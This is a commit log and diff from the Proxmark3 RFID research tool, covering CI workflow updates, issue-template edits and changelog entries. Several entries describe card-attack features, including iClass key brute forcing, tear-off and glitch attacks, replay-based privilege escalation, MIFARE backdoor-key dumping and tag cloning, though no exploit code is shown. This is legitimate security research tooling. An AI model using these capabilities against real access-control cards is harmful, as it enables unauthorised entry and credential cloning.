2024-09-17 16:35:52 +08:00
Antiklesys
f24b087c19
Update cmdhficlass.c
Signed-off-by: Antiklesys <syselkitna@gmail.com>
2024-09-17 15:46:33 +08:00
Iceman
1b2987c016
Merge pull request #2518 from henrygab/TraceCleanup
Trace cleanup
2024-09-17 09:43:20 +02:00
Antiklesys
3c258827e8 Removed unused multithreading functions and updated to uint64_t 2024-09-17 15:35:23 +08:00
Antiklesys
f70008bd0c Optimized legbrute
Removed multithreading and bottlenecks in favor of sequentially generated keys.
Multithreading can/should be reimplemented but optimized for keyspaces
2024-09-17 15:08:15 +08:00
Henry Gabryjelski
1d4e5e8d90 Fix .PM3 traces that exceed single-byte range
This was done programmatically using python.

The `lf_Keri.pm3` was in range `[-508 .. 491]` (1000 value range).
Each value was divided by four, cast to integer, and then adjusted by +1 (to center the values).
The data plot in the pm3 client now shows discernible changes in amplitude.
The resulting samples are all within range [-128,127].

This final fix allows ALL sample `.pm3` traces to be converted to one-byte-per-sample binary format.
2024-09-16 23:35:03 -07:00
Henry Gabryjelski
1a7267ca53 Fix .PM3 traces that exceed single-byte range
This was done programmatically using python.
Files with a range that fell outside of [-128,127], but which would fit into that range, were offset by the noted amount to ensure the file woul now fit within range [-128,127].  This allows the trace files to be converted to one-byte-per-sample binary format, for example.

offset | filename
-----|-----
`-14` | `lf_Q5_mod-manchester.pm3`
`-14` | `lf_Q5_mod-nrz.pm3`
`-10` | `lf_Q5_mod-fsk1.pm3`
`-15` | `lf_Q5_mod-biphase.pm3`
`-9` | `lf_Q5_mod-fsk2.pm3`
2024-09-16 23:05:15 -07:00
Antiklesys
5bbffafe65 Updated hf iclass legbrute
Update legbrute to perform a double check when finding a potentially valid raw key, to ensure that is indeed the raw key and works against multiple macs (for the same epurse values).
2024-09-17 13:01:39 +08:00
Iceman
f1d638c295
Merge pull request #2516 from Antiklesys/master
Update legbrute for even threads
2024-09-16 20:04:34 +02:00
Iceman
c9b1cc1d95
Merge pull request #2514 from douniwan5788/hexdump
refactor: Optimize Dbhexdump
2024-09-16 19:53:48 +02:00
Iceman
e46024e6a4
Merge pull request #2515 from douniwan5788/doc
doc: fix H7 link
2024-09-16 19:47:28 +02:00
Iceman
c34068bc94
Merge pull request #2512 from douniwan5788/concatbits
refactor: move concatbits() to commonutil
2024-09-16 19:41:17 +02:00
Antiklesys
49524575be Update legbrute for even threads
Updated legbrute to use an even number of threads and display the starting key of every key block. Useful in case the operation needs to be halted and resumed
2024-09-17 01:32:44 +08:00
douniwan5788
1a07ff1c12 refactor: switch hitagS_tag to union 2024-09-17 01:02:32 +08:00
douniwan5788
e5c0007f0b refactor: move concatbits() to commonutil 2024-09-17 01:00:32 +08:00
douniwan5788
0de7864755 refactor: Optimize Dbhexdump 2024-09-17 00:58:12 +08:00
douniwan5788
ce676b2a84 doc: fix H7 link 2024-09-17 00:57:26 +08:00
iceman1001
805dc99b97 lf search - now tries to read out hitag2 data with the paxton key. 2024-09-15 18:19:28 +02:00
Iceman
c9531ae62b
Merge pull request #2510 from douniwan5788/fix_uid
Fix Hitag S get uid
2024-09-15 17:45:48 +02:00
Philippe Teuwen
fbef3c0a21 Should allow reproducible builds 2024-09-15 14:10:08 +02:00
iceman1001
32058894ea style 2024-09-15 13:16:35 +02:00
iceman1001
3ea655c86d text 2024-09-15 11:43:05 +02:00
douniwan5788
ec827887bf fix: keep error msgs until we have proper error codes to diff them on the client side 2024-09-15 12:56:51 +08:00
douniwan5788
e15356ab0e fix: hts_read_uid 2024-09-15 12:56:51 +08:00
douniwan5788
662b194e56 refactor: hitag S code sytle & cleanup 2024-09-15 12:56:51 +08:00
Philippe Teuwen
17bfed94da mfkey64: abort if key recovery failed 2024-09-15 00:10:21 +02:00
iceman1001
febaa64b4d make all device side HTS messages DBGlevel extended 2024-09-14 22:00:52 +02:00
iceman1001
d715871df8 ....fix type 2024-09-14 21:07:15 +02:00
iceman1001
d1029ce281 Merge branch 'master' of github.com:RfidResearchGroup/proxmark3 2024-09-14 21:05:19 +02:00
iceman1001
db1b28f327 rename hts read/write commands to rdbl/wrbl to match rest of the client. added a lf hitag hts reader comamnd, modified the lf search to identify hitag2/s/82xx in the chipset detection 2024-09-14 21:00:42 +02:00
Iceman
395d16c741
Merge pull request #2509 from douniwan5788/0em410
fix: all zeros is a valid Em410x too
2024-09-14 18:40:48 +02:00
iceman1001
dd32fceb54 support function 2024-09-14 18:38:28 +02:00
iceman1001
34e00146c6 change data available check in hf mf sim on device side. 2024-09-14 18:37:56 +02:00
douniwan5788
8609322871 fix: all zeros is a valid Em410x too 2024-09-14 23:49:46 +08:00
iceman1001
20a0bc3a81 style 2024-09-14 15:03:29 +02:00
iceman1001
9ebe5ae8dd text 2024-09-14 14:55:23 +02:00
iceman1001
a636d97551 remove non informative message 2024-09-14 14:24:03 +02:00
iceman1001
fc17873e1d fix xpression compared to zero 2024-09-14 14:22:25 +02:00
iceman1001
ec33873738 fix wrong type 2024-09-14 14:20:34 +02:00
iceman1001
8f9ca98f6c fix narrow type .. 2024-09-14 14:19:20 +02:00
iceman1001
4af367f66f fix ats 2024-09-14 14:16:36 +02:00
iceman1001
0fe568970b style 2024-09-13 13:44:16 +02:00
iceman1001
77e94c8047 use DEFINES instead 2024-09-13 13:43:32 +02:00
iceman1001
65cf65dc96 ATS printing can be an issue since some magic cards doesnt treat ATS properly. This will lessen the garbage output 2024-09-13 13:42:34 +02:00
iceman1001
cd0ce47d89 when dumping memory also try the MFC_B key 2024-09-13 13:40:24 +02:00
iceman1001
7a5d1b1ddf clean 2024-09-13 13:39:04 +02:00
iceman1001
618451048e allow for a reply to be sent when simulating iclass 2024-09-13 13:38:25 +02:00
iceman1001
c83a15fd18 clean 2024-09-13 13:37:57 +02:00
iceman1001
ccf8d8b754 fix #2501 the parallel execution of "make -j check" created a race condition in the static nonces tests. 2024-09-13 13:37:27 +02:00
Iceman
c6f98036d5
Merge pull request #2508 from douniwan5788/cmdread
fix: `lf cmdread` silent lost CRC
2024-09-13 13:28:23 +02:00
Iceman
9509990590
Merge pull request #2506 from douniwan5788/82xx_doc
doc: update 82xx
2024-09-13 13:27:36 +02:00
Iceman
1853d557ed
Merge pull request #2507 from douniwan5788/hitag_names
style: Hitag names
2024-09-13 13:26:13 +02:00
Iceman
3e4f1576c4
Merge pull request #2505 from douniwan5788/8268
Added support for 8268/8310
2024-09-13 13:25:49 +02:00
douniwan5788
424a467132 fix: lf cmdread silent lost CRC 2024-09-13 19:15:11 +08:00
douniwan5788
1358a54019 doc: update 82xx 2024-09-13 17:16:01 +08:00
douniwan5788
375eb612e8 style: Hitag names 2024-09-13 17:15:37 +08:00
douniwan5788
0c7964084c feat: Added lf em 410x clone --hts clone EM410x ID to 8268/8310 2024-09-13 17:06:15 +08:00
douniwan5788
3860942e55 feat: Added support for 8268/8310 2024-09-13 17:06:15 +08:00
Iceman
edb74d084e
Merge pull request #2503 from elboulangero/fix-readme-location
mkversion: Fix readme location
2024-09-13 08:37:56 +02:00
Arnaud Rebillout
09bcc13f2b mkversion: Fix readme location
While building proxmark3 in an environment without `git` installed, I
noticed the following errors on stderr:

```
mkversion create test                   env: 'git': No such file or directory
stat: cannot statx '../README.md': No such file or directory
```

The first line "env: 'git': No such file or directory" is expected, as
git is not installed.

However, the second line "stat: cannot statx '../README.md': No such
file or directory" is a real error: we're running from top-level
directory, so the correct path for README.md is just "README.md".
2024-09-13 10:44:39 +07:00
Iceman
89ec45354e
Merge pull request #2502 from evildaemond/master
Simple Trace Parsing LUA Library
2024-09-12 11:21:04 +02:00
Adam Jon Foster
e2c2b9cc9f
Rename trace_parse to trace_parse.lua
Fixed file extension

Signed-off-by: Adam Jon Foster <me@evildaemond.com>
2024-09-12 16:29:32 +08:00
Adam Jon Foster
bbcd2d35d9
Create trace_parse
Created a Trace Parser Library to just have something to allow for lua scripts to be able to read .TRACE structured files. 

Signed-off-by: Adam Jon Foster <me@evildaemond.com>
2024-09-12 16:29:05 +08:00
Philippe Teuwen
5a95eb63df
Merge pull request #2499 from ZeroChaos-/master
add opencl support to CheckFileExist()
2024-09-12 00:02:27 +02:00
Rick Farina (Zero_Chaos)
cd90af34a0
add opencl support to CheckFileExist()
CheckExecute() has a flag to tell it if a check needs opencl support or
not and can automatically disable the check if opencl checks are not
requested.  Mostly copy and paste the same feature into CheckFileExist
and add it where needed.
2024-09-11 16:21:29 -04:00
Iceman
9a77b3f5f8
Merge pull request #2498 from eltociear/patch-1
chore: update hf_ntag_bruteforce.lua
2024-09-11 19:05:12 +02:00
Ikko Eltociear Ashimine
ec6b3981b5
chore: update hf_ntag_bruteforce.lua
Faild -> Failed

Signed-off-by: Ikko Eltociear Ashimine <eltociear@gmail.com>
2024-09-12 01:23:31 +09:00
Iceman
47d94f4688
Merge pull request #2488 from douniwan5788/mifare_info
Mifare info
2024-09-11 15:41:20 +02:00
iceman1001
a18ec2b54e the string params for scripting was limited to 256 chars, this has been increased to 1024 chars, allowing for 512 hex bytes to be read. remember spaces will count as a char when using the quotes. Also increased file name array to match the rest of the pm3 client length. 2024-09-11 12:08:28 +02:00
iceman1001
781bde832c logical... logical 2024-09-10 22:51:50 +02:00
iceman1001
4c73863496 added another hint 2024-09-10 21:33:21 +02:00
iceman1001
d9a5445c02 check def pwd 2024-09-10 21:29:07 +02:00
iceman1001
5f22292bba text 2024-09-10 21:22:17 +02:00
iceman1001
81e154517b style 2024-09-10 21:10:29 +02:00
iceman1001
242ddf8e30 added fudan ntag 215 clone. 2024-09-10 21:09:32 +02:00
iceman1001
30c16b8f8f fix #2457 - when testing cards which doesnt answer to GET_VERSION command we try to assume which card it is by looking if it can read a block or not 2024-09-10 20:25:43 +02:00
iceman1001
a4edfd1b7c identify a magic ntag 215, new model, thanks @KCSEC (@iceman1001). -v param is for verbose mode 2024-09-10 19:50:12 +02:00
iceman1001
8571757e0f text 2024-09-10 15:41:16 +02:00
iceman1001
b881bbbd00 Revert "Release v4.18994 - Backdoor"
This reverts commit cd6dc880ad.
2024-09-10 15:40:28 +02:00
douniwan5788
b834fbf00d refactor: mifare info 2024-09-08 23:07:35 +08:00
douniwan5788
131f4ac64a refactor: Don't decrease the user setup debug level. 2024-09-08 23:06:39 +08:00
douniwan5788
29f9862cf1 refactor: iso14443a_fast_select_card 2024-09-08 23:04:57 +08:00
659 changed files with 210545 additions and 164923 deletions

View file

@ -21,6 +21,7 @@ Have you followed the instructions properly? ie, flashed bootrom seperately fi
**Describe the bug**
A clear and concise description of what the bug is.
Please include text output of the bug happening.
**To Reproduce**
Steps to reproduce the behavior:
@ -40,7 +41,7 @@ If applicable, add screenshots to help explain your problem.
- inside proxmark3 client run the following commands and paste the output here.
- hw version
- hw status
- data tune
- hw tune
**Additional context**
Add any other context about the problem here.

View file

@ -31,9 +31,13 @@ Run `tools/release_tests.sh` on:
- [ ] Kali
- [ ] Debian Stable
- [ ] Debian Testing
- [ ] Ubuntu 22
- [ ] Ubuntu 24.04 (LTS)
- [ ] Ubuntu 24.10
- [ ] Ubuntu 25.04
- [ ] ParrotOS
- [ ] Fedora 37
- [ ] Fedora 41 (till 2025-11-19)
- [ ] Fedora 42 (till 2026-05-13)
- [ ] Fedora 43 (till 2026-12-02)
- [ ] OpenSuse Leap
- [ ] OpenSuse Tumbleweed
- [ ] OSX (MacPorts)

View file

@ -12,6 +12,8 @@
name: "CodeQL"
on:
workflow_dispatch:
push:
branches: [ master ]
pull_request:
@ -41,7 +43,7 @@ jobs:
run: sudo apt-get update
- name: Install dependencies
run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.2-dev liblua5.2-0 lua5.2 sed libssl-dev
run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.4-dev liblua5.4-0 lua5.4 sed libssl-dev
- name: Install Python dependencies
run: |

View file

@ -2,6 +2,7 @@ on: pull_request_target
name: Changelog Reminder
jobs:
remind:
if: github.repository_owner == 'RfidResearchGroup'
name: Changelog Reminder
runs-on: ubuntu-latest
steps:

View file

@ -30,7 +30,7 @@ jobs:
run: sudo apt-get update
- name: Install dependencies
run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.2-dev liblua5.2-0 lua5.2 sed libssl-dev libgd-dev
run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.4-dev liblua5.4-0 lua5.4 sed libssl-dev libgd-dev
- name: Install Python dependencies
run: pip install -r tools/requirements.txt
@ -60,7 +60,7 @@ jobs:
run: sudo apt-get update
- name: Install dependencies
run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.2-dev liblua5.2-0 lua5.2 sed libssl-dev libgd-dev
run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.4-dev liblua5.4-0 lua5.4 sed libssl-dev libgd-dev
- name: Install Python dependencies
run: pip install -r tools/requirements.txt
@ -91,7 +91,7 @@ jobs:
run: sudo apt-get update
- name: Install dependencies
run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.2-dev liblua5.2-0 lua5.2 sed libssl-dev libgd-dev
run: sudo apt-get install -yqq make autoconf build-essential ca-certificates pkg-config libreadline-dev gcc-arm-none-eabi libnewlib-dev qtbase5-dev libbz2-dev liblz4-dev libbluetooth-dev libpython3-dev python3 python3-dev libpython3-all-dev liblua5.4-dev liblua5.4-0 lua5.4 sed libssl-dev libgd-dev
- name: Install Python dependencies
run: pip install -r tools/requirements.txt

View file

@ -18,5 +18,5 @@ jobs:
- name: check unique keys in dic files
shell: bash
run: |
find . -type f -name "*.dic" | xargs -I {} sh -c "echo {} && cat {} | sed 's/ *#.*//;/^$/d' | sort | uniq -i -d -c | sort -n -r "
if [[ $(find . -type f -name "*.dic" | xargs -I {} sh -c "echo {} && cat {} | sed 's/ *#.*//;/^$/d' | sort | uniq -i -d -c | sort -n -r " | grep -v '^\./' | wc -l) -gt 0 ]]; then exit 1; fi
find . -type f -name "*.dic" | xargs -I {} sh -c "echo {} && cat {} | sed 's/ *#.*//;/^$/d' | sed 's/\(.*\)/\U\1/' | sort | uniq -i -d -c | sort -n -r "
if [[ $(find . -type f -name "*.dic" | xargs -I {} sh -c "echo {} && cat {} | sed 's/ *#.*//;/^$/d' | sed 's/\(.*\)/\U\1/' | sort | uniq -i -d -c | sort -n -r " | grep -v '^\./' | wc -l) -gt 0 ]]; then exit 1; fi

View file

@ -3,8 +3,214 @@ All notable changes to this project will be documented in this file.
This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log...
## [unreleased][unreleased]
- Changed from Bigbuf malloc to Bigbuf calloc calls on device side (@iceman1001)
- Added `lf t55xx view` - now viewing of T55XX dump files is possible (@iceman1001)
- Fixed `lf indala cone` - now writing the right bits when using `--fc` and `--cn`
- Changed readline hack logic for async dbg msg to be ready for readline 8.3 (@doegox)
- Improved To avoid conflicts with ModemManager on Linux, is recommended to masking the service (@grugnoymeme)
- Changed `data crypto` - now also handles AES-256 (@iceman1001)
- Changed `hf mfdes info` - add recognition of Swissbit iShield Key Mifare (@ah01)
- Changed `hf mf info` - add detection for unknown backdoor keys and for some backdoor variants (@doegox)
- Changed `mqtt` commnands - now honors preference settings (@iceman1001)
- Changed `prefs` - now handles MQTT settings too (@iceman1001)
- Fixed `mqtt` segfault and gdb warning under windows (proper thread stopping and socket handling). (@virtyvoid)
- Added `mqtt` - the pm3 client can now send and receive MQTT messages or json files. (@iceman1001)
- Changed `hf iclass wrbl` - replay behavior to use privilege escalation if the macs field is not passed empty(@antiklesys)
- Changed `hf iclass restore` - it now supports privilege escalation to restore card content using replay (@antiklesys)
- Fixed `hf 15 dump` - now reads sysinfo response correct (@iceman1001)
- Changed `make clean` - it now removes all __pycache__ folders (@iceman1001)
- Fixed `hf 15 readmulti` - fix block calculations (@iceman1001)
- Changed `mem load` - now handles UL-C and UL-AES dictionary files (@iceman1001)
- Changed `hf mfu sim` - now support UL-C simulation (@iceman1001)
- Added `!` - run system commands from inside the client. Potentially dangerous if running client as SUDO, SU, ROOT (@iceman1001)
- Implemented `hf felica scsvcode` - now dumps all service and area codes. (@zinongli)
- Added `hf felica liteauth` - now support FeliCa Lite-S authentication(@q0jt)
- Added `he felica dump` - partial support for dumping all blocks from unauth readable services (@zinongli)
- Changed `hf 14b calypso` - now don't break the file id loop when one file can't be selected or read. Add new file ids to iterate through (@zinongli)
## [Backdoor][2024-09-10]
## [Daddy Iceman.4.20469][2025-06-16]
- Fixed edge case in fm11rf08s key recovery tools (@doegox)
- Removed `--par` from `lf em 4x70` commands.
- Changed `hf 14a info` - refactored code to be able to detect card technology across the client easier (@iceman1001)
- Changed `hf mf info` - now informs better if a different card technology is detected (@iceman1001)
- Changed `hf mf autopwn` - now exits if desfire is detected and limit attacks if mifare plus is detected (@iceman1001)
- Changed `hf mfp chk` - improved key handling and output (@iceman1001)
- Fix `hf mf dump` - added a check for keyfile to contain enough keys for card (@iceman1001)
- Fix `hf mf eview` - now viewing 2k, 4k cards doesn't get wrong background color (@iceman1001)
- Changed `hf mf info` - skip checking if it detects a MIFARE Ultralight family card (@iceman1001)
- Changed `hf mf rdsc` - it now addeds the used key to the output in the sector trailer (@iceman1001)
- Added the `PM3ULTIMATE` platform in the build / docs. *untested* (@iceman1001)
- Added fpga compilation for PM3ULTIMATE device (@n-hutton)
- Updated the ATR list (@iceman1001)
- Fixed fpga binary images to use fixed seed 2 (@n-hutton)
- Added `hf iclass sam --info` - option that returns sam specific details (@antiklesys)
- Changed `hf iclass sim -t 7` - implemented simulation that glitches key block responses (@antiklesys)
- Changed `hf iclass sim -t 6` - implemented simulation that glitches sio block (@antiklesys)
- Changed `hf iclass legbrute` - implemented multithreading support (@antiklesys)
- Changed `hf iclass legrec` - added a --sl option for further speed increase by tweaking the communication delays (@antiklesys)
- Changed `hf iclass legrec` - added a --fast option for further speed increase and automated AA2 block selection (@antiklesys)
- Changed `hf iclass legrec` - additional code optimizations gaining a ~147% speed increase (@antiklesys)
- Changed `hf iclass tear` - readability improvements for erase phase (@antiklesys)
- Changed `hf iclass legrec` - code optimizations gaining a ~8% speed increase (@antiklesys)
- Modified `hf iclass tear` - now has a device side implementation also. (@antiklesys) (@iceman1001)
- Changed `hf iclass info` - now uses CSN values based checks (@antiklesys)
- Changed `hf iclass dump` - now uses default AA1 key when called without a key or key index (@iceman1001)
- Renamed `hf iclass trbl` to `hf iclass tear` (@iceman1001)
- Changed `hw tearoff` - the device side message is now debug log controlled (@iceman1001)
- Changed `pm3.sh` - Serial ports enumeration on Proxspace3.xx / MINGW environments, now using powershell.exe since wmic is deprecated (@iceman1001)
- Fixed `hf iclass trbl` - to correctly use the credit key when passed and show partial tearoff results (@antiklesys)
- Fixed `hf iclass legbrute` was not correctly parsing the index value
- Fixed `hf mf ekeyprn` - failed to download emulator memory due to wrong size calculation (@iceman1001)
- Fixed `hf mf fchk --mem` to actually use flash dict (@doegox)
- Fixed `make install` on OSX thanks DaveItsLong (@doegox)
- Added new standalone mode `HF_ST25_TEAROFF` to store/restore ST25TB tags with tearoff for counters (@seclabz)
- Added `hf_mfu_ultra.lua` script enables restoring dump to ULTRA/UL-5 tags and clearing previously written ULTRA tags (@mak-42)
- Fixed `hf mfu sim` to make persistent the counter increases in the emulator memory (@sup3rgiu)
- Fixed `hf mf mad` to correctly display MAD version 2 card publisher sector (@BIOS9)
- Fixed `lf hitag dump` and related commands stability when tag is configured in public mode/TTF mode (@rfidgeek1337)
## [Blue Ice.4.20142][2025-03-25]
- Added `des_talk.py` script for easier MIFARE DESFire handling (@trigat)
- Fixed `hf 14b info` - wrong endianess when looking for lock bits etc (@gentilkiwi)
- Changed `hf mf autopwn` - tries to detect static encrypted nonces and also user cancel during chk keys (@iceman1001)
- Changed `hf mf autopwn` - added option to use SPI flash dictionary (@jmichelp)
- Changed `trace list -t seos` - now annotate ISO7816 (@iceman1001)
- Updated aid and mad json files (@iceman1001)
- Changed `hf 14a apdu` - now can be interrupted and dynamically adds time (@iceman1001)
- Changed `trace list -t` - shortend the hitag types (@iceman1001)
- Added Be-Tech identification (@iceman1001)
- Added `lf em 410x clone --htu` clone EM410x ID to Hitag µ/8265 (@douniwan5788)
- Added `lf hitag htu` support for Hitag µ/8265 (@douniwan5788)
- Added `hf mfu aesauth` based on existing UL AES support (@doegox)
- Changed `hf mfu sim` deny OTP changes with all zeros (@iceman1001)
- Added missing file in CMakeLists.txt (@iceman1001)
- Changed `lf em 4x70` internals on ARM side; Enabling improved debugging and reliability (@henrygab)
- Improved `pcf7931` generic readability of the code. Unified datatypes and added documentation/explainations (@tinooo)
- Improved `lf pcf7931` read code - fixed some checks for more stability (@tinooo)
- Changed `trace list -t seos` - improved annotation (@iceman1001)
- Added `make commands` to regenerate commands documentation files and autocompletion data independently of `make style` (@doegox)
- Added texecom identification, thanks @en4rab ! (@iceman1001)
- Added `hf 15 slixprotectpage` command
- Fixed `hf mf gload` - missing parameter (@iceman1001)
- Changed `hf mf gload` - now handles 1k ev1 sized dumps (@iceman1001)
- Changed wiegand format unpack functions to clear struct later (@iceman1001)
- Changed `wiegand decode` - now accepts new padding format (@iceman1001)
- Changed `mem spiffs tree` - ID is now shown in decimal (@iceman1001)
- Added sample wiegand format 56bit (@iceman1001)
- Changed Wiegand formats to include number of bits (@iceman1001)
- Fixed compilation warning in hitagS (@iceman1001)
- Added new wiegand format H800002 (@jmichelp)
- Changed `Makefile.platform.sample` file - now have clear instructions for generating images for other proxmark3 hardware (@iceman1001)
- Changed `doc/magic_cards_notes.md` - now contains documentation for iKey LLC's MF4 tag (@team-orangeBlue)
- Changed `hf mf cload` - now accepts MFC Ev1 sized dumps (@iceman1001)
- Changed `hf mfu info` - now properly identify ULEv1 AES 50pF (@iceman1001)
- Changed `hf mf info` - now differentiates between full USCUID and cut down ZUID chips (@nvx)
- Changed `lf hitag chk` - added key counter, client side abort and minor delay (@iceman1001)
- Added `hf seos sam` - Added support for HID SAM SEOS communications (@jkramarz)
- Changed the extended area accessible by spiffs into last page of FLASH (@piotrva)
- Changed flash-stored key dictionaries (Mifare, iClass, T55XX) and T55XX configurations to SPIFFS files (@piotrva)
- Changed `lf em 410x sim` to use default gap value of 0 and extended help (@piotrva)
- Changed `hf 14a info` - now identifies MIAFRE Duox (@iceman1001)
- Added `hf iclass trbl` to perform tear-off attacks on iClass (@antiklesys)
- Added support for connection to host device in all Docker envs (@doegox)
- Changed `hf 15 info` to show all type matches and check ST25TVxC signature (@doegox)
- Added initial support for ST25TN and its signature verification (@doegox)
- Changed originality checks handling to refactor code and pk data (@doegox)
- Changed `uniq.yaml` workflow to be case-insensitive (@iceman1001)
- Fixed `mem load --mfc` not erasing all SPI flash blocks after extending to 4095 keys (@piotrva)
- Changed extended area for Mifare keys in SPI flash to hold 4095 keys (@piotrva)
- Fixed DESFire D40 secure channel crypto (@nvx)
- Fixed `hf mfp info` fix signature check on 4b UID cards (@doegox)
- Changed `hf_mf_ultimatecard` - it now automatically set maximum read/write block when using predefined types (@piotrva)
- Changed SPI flash detection to calculate the size instead of table lookup (@ANTodorov)
- Changed `spi_flash_decode.py` script with more ICs (@ANTodorov)
- Fixed `hf/lf tune` segfault when called from script (@doegox)
- Changed `hf_mf_ultimatecard` - added option to set and get maximum read/write block number (@piotrva)
- Added JEDEC information for SPI flash W25Q64JV (@ANTodorov)
- Changed `hf iclass configcard` - added special iclass legacy config cards (@antiklesys)
- Changed `hf iclass legrec` - added simulation function (@antiklesys)
- Added keys from Momentum firmware projects. (@onovy)
- Added Dutch Statistics Agency default key (@eagle00789)
- Fixed Wiegand decode with hex input dropping the first bit (@emilyastranova)
- Changed `hf mf autopwn` - now allows for custom suffix (@zxkmm)
## [Orca.4.19552][2024-11-22]
- Fixed `hf_legic.lua` - removed bit32 commands from the script (@diorch1968)
- Fixed `mem spiffs tree` - now show correct symlink name (@ANTodorov)
- Fixed `mem spiffs wipe` - reported file/link names is now correct (@ANTodorov)
- Updated atrs list (@iceman1001)
- Added support for a new KDF (@iceman1001)
- Added Inner range aid and mad entries (@iceman1001)
- Changed `mem spiffs` - Use all available space in SPI flash (@ANTodorov)
- Fixed `hf mf sim` - wrong size check in MifareSim (@iceman1001)
- Fixed `hf mf sim` not to respond to authentication attempts for sectors out of bound for selected Mifare type (@piotrva)
- Added option to build against non-default python3 with CMake as well (@doegox)
- Added option to build against non-default python3 with Makefile (@ANTodorov)
- Changed `hf 14a info` `hf mf info` - now detects FM1216-137 CPU cards (@iceman1001)
- Changed `hf iclass configcard` - expanding the list of available options and functionalities (@antiklesys)
- Fixed `intertic.py` - missing comma in array (@iceman1001)
- Changed `hf iclass legrec` - improved algorithm leveraging reduced entropy from hash0 constraints (@antiklesys)
- Fixed `hf iclass configcard` when generating elite or keyroll elite configcards for Rev.C legacy readers (@antiklesys)
- Changed `hf mf c*` - now accepts a --gdm flag to write using uscuid/gdm 20/23 alt magic wakeup (@nvx)
- Changed `pm3_console()` - Python/Lua/C: replace `passthru` by `capture` and `quiet` (@doegox)
- Fixed `hf iclass list` - annotation crc handled better (@iceman1001)
- Fixed `hf_mf_uscuid_prog.lua` - bad divisions and code style fixes (@iceman1001)
- Changed `hf iclass info` - now checks for cards silicon version (@antiklesys)
- Changed `hf iclass legrec` - updated script implementation to ensure functionality (@antiklesys)
- Added recovered iclass custom key to dictionary (@antiklesys)
- Added support for all Hitag S response protocol mode (@douniwan5788)
- Fixed `hf_young` - flags declaration was missing a semicolon (@jakkpotts)
- Changed `hf mf sim` - add option to allow key b to be used even if readable (@doegox)
- Changed `data num` - outputed binary strings are now properly zero padded (@iceman1001)
- Changed `hf iclass info` - now tries default keys and decode if legacy (@iceman1001)
- Changed `hf iclass chk` - now loads dictionary file by default (@iceman1001)
- Added Makefile variable `DONT_BUILD_NATIVE` in mfd_aes_brute Makefile to easify downstream package (@Cryolitia)
- Auto detect whether compile option `march=native` is supported for mfd_aes_brute Makefile
- Changed `hf mf sim` - support data-first and nested reader attacks (@doegox)
- Fixed `lf search` and `lf em 4x50 rdbl -b <blk>` does not coredump reading EM4450 tag (@ANTodorov)
- Fixed flashing - client doesnt fail every other flash attempt (@iceman1001)
- Changed `pref show` - add option to dump as JSON (@doegox)
- Changed `mf_backdoor_dump.py`- use faster ecfill/eview (@doegox)
- Changed `hf mf ecfill` - wait for execution and return status (@doegox)
- Changed `hf 14a reader` - added option to wait for a card (@doegox)
- Changed `hf mf ecfill` - added support for quick dump via backdoor auth (@doegox)
- Fixed `hf mf restore` - really skip strict ACLs unless --force (@doegox)
- Added `hf 14b setuid` - set uid on magic 14b tag (@iceman1001)
- Changed `hf 14b info` - now detect Tiananxin (@iceman1001)
- Fixed `lf em 410x brute` - better filehandling and memory handling (@iceman1001)
- Changed split PacketResponseNG status into status and reason (@douniwan5788)
- Added `spi_flash_decode.py` - helper script to decode JEDEC data (@ANTodorov)
- Changed `hw status` - now show SPI flash JEDEC Manufacturer ID and Device ID in output (@ANTodorov)
- Changed `hf iclass configcards` to support generating config cards using a different key than the default k0 as the card's key (@antiklesys)
- Added maur keys (@iceman1001)
- Fixed `hf mfu pwdgen` for the 7 byte UID (@ANTodorov)
- Added `hf iclass unhash` command to reverse an iclass diversified key to hash0 pre-images (@antiklesys)
- Changed `hf 14a raw` - now supports crypto (@doegox)
- Changed `hw version` command to print LUA and Python versions (@jmichelp)
- Updated LUA to v5.4.7 which adds utf-8 support (@jmichelp)
- Moved `lf hitag sim --hts` -> `lf hitag hts sim` (@douniwan5788)
- Removed `lf hitag read/write --hts` (@douniwan5788)
- Changed `lf search` - it now tries to read and decode paxton id (@iceman1001)
- Changed `lf search` - to identify hitag2/s/82xx in chipset detection to preserve their EM4100 or other outputs (@iceman1001)
- Added `lf hitag hts reader` - to act as a HitagS / 82xx reader (@iceman1001)
- Changed `lf hitag hts write` -> `lf hitag hts wdbl` to fit rest of client command names (@iceman1001)
- Changed `lf hitag hts read` -> `lf hitag hts rdbl` to fit rest of client command names (@iceman1001)
- Changed `hf mf info` - Better handling when printing ATS (@iceman1001)
- Changed to also try the MFC_B key when extracting memory (@iceman1001)
- Fixed `make -j check` Thanks @elboulangero (@iceman1001)
- Added support for 8268/8310 (@douniwan5788)
- Changed scripting string params to accept 1024 chars, Thanks @evildaemond! (@iceman1001)
- Added detection for FM11NT021 (@iceman1001)
- Added detection of a magic NTAG 215 (@iceman1001)
- Fixed hardnested on AVX512F #2410 (@xianglin1998)
- Added `hf 14a aidsim` - simulates a PICC and allows you to respond to specific AIDs and getData responses (@evildaemond)
